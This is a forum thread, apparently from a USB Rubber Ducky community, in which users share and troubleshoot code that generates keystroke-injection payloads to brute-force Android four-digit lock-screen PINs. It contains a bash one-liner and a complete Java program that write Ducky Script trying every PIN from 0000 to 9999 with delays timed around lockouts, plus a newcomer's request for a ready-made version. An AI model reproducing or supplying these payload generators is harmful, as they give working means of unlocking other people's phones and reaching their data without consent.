Derek2029 Posted October 23, 2021 Share Posted October 23, 2021 why is this bash script not outputting the numbers? echo DELAY 5000 > android_brute-force_0000-9999.txt; echo {0000..9999} | xargs -n 1 echo STRING | sed '0~5 s/$/\nWAIT/g' | sed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' | sed 's/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER/g' >> android_brute-force_0000-9999.txt [/CODE] results: DELAY 50 STRING {0000..0004} DELAY 100 ENTER i am not getting a long list of all the pincodes but just {0000..0004} am I missing out on something here? Quote Link to comment Share on other sites More sharing options...
MorkBorlog Posted November 10, 2021 Share Posted November 10, 2021 On 12/7/2012 at 12:31 AM, Darren Kitchen said: echo DELAY 5000 > android_brute-force_0000-9999.txt; echo {0000..9999} | xargs -n 1 echo STRING | sed '0~5 s/$/\nWAIT/g' | sed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' | sed 's/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER/g' >> android_brute-force_0000-9999.txt [/CODE] I always have a 28-second pause after every wrong password. So I thought to myself, I'll publish my Java script code here: package AndroidLockScreen4PINBF; import java.io.BufferedWriter; import java.io.FileWriter; import java.io.IOException; public class Generate { public static void main(String[] args) throws IOException { FileWriter fw = new FileWriter("payload.txt"); BufferedWriter bw = new BufferedWriter(fw); bw.write("LED R"); bw.write('\n'); bw.write("ATTACKMODE HID"); bw.write('\n'); bw.write('\n'); for(int i = 0; i < 10000; i++) { bw.write("Q ENTER\n"); if(i >= 0 & i < 10) { bw.write("Q STRING 000" + Integer.toString(i) + '\n'); } else if (i >= 10 & i < 100) { bw.write("Q STRING 00" + Integer.toString(i) + '\n'); } else if(i >= 100 & i <= 1000) { bw.write("Q STRING 0" + Integer.toString(i) + '\n'); } else { bw.write("Q STRING " + Integer.toString(i) + '\n'); } bw.write("Q ENTER\n"); bw.write("Q DELAY 5000\n"); bw.write("Q ENTER\n"); bw.write("Q DELAY 5000\n"); bw.write("Q ENTER\n"); bw.write("Q DELAY 5000\n"); bw.write("Q ENTER\n"); bw.write("Q DELAY 5000\n"); bw.write("Q ENTER\n"); bw.write("Q DELAY 5000\n"); bw.write("Q ENTER\n"); bw.write("Q DELAY 5000\n"); bw.write("Q ENTER\n"); } bw.write("\nLED G"); bw.close(); fw.close(); } } The next question is whether the battery will last that long! :-] Quote Link to comment Share on other sites More sharing options...
MorkBorlog Posted November 10, 2021 Share Posted November 10, 2021 On 10/23/2021 at 11:38 AM, Derek2029 said: why is this bash script not outputting the numbers? echo DELAY 5000 > android_brute-force_0000-9999.txt; echo {0000..9999} | xargs -n 1 echo STRING | sed '0~5 s/$/\nWAIT/g' | sed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' | sed 's/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER/g' >> android_brute-force_0000-9999.txt [/CODE] results: DELAY 50 STRING {0000..0004} DELAY 100 ENTER i am not getting a long list of all the pincodes but just {0000..0004} am I missing out on something here? you need the "Cygwin Terminal". Download and install this Cygwin Installation! Quote Link to comment Share on other sites More sharing options...
Pscion Posted November 12, 2021 Share Posted November 12, 2021 hello, i'm very new to this, i got a rubber ducky, installed the drivers, and when trying to flash dual duck i got errors that the program command isn't valid (win 10). i heard somewhere the duck comes pre flashed, but i also found the sd card empty - so i need to load the same sort of payload as was originally shown in the video for androids. it's been hard finding the resources for this because some mirrors seem down or outdated links, so any help would be appreciated. just need to figure out making a 4 digit brute force script that will work on android, since i haven't been able to find one already made - thanks to any help in advance! Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.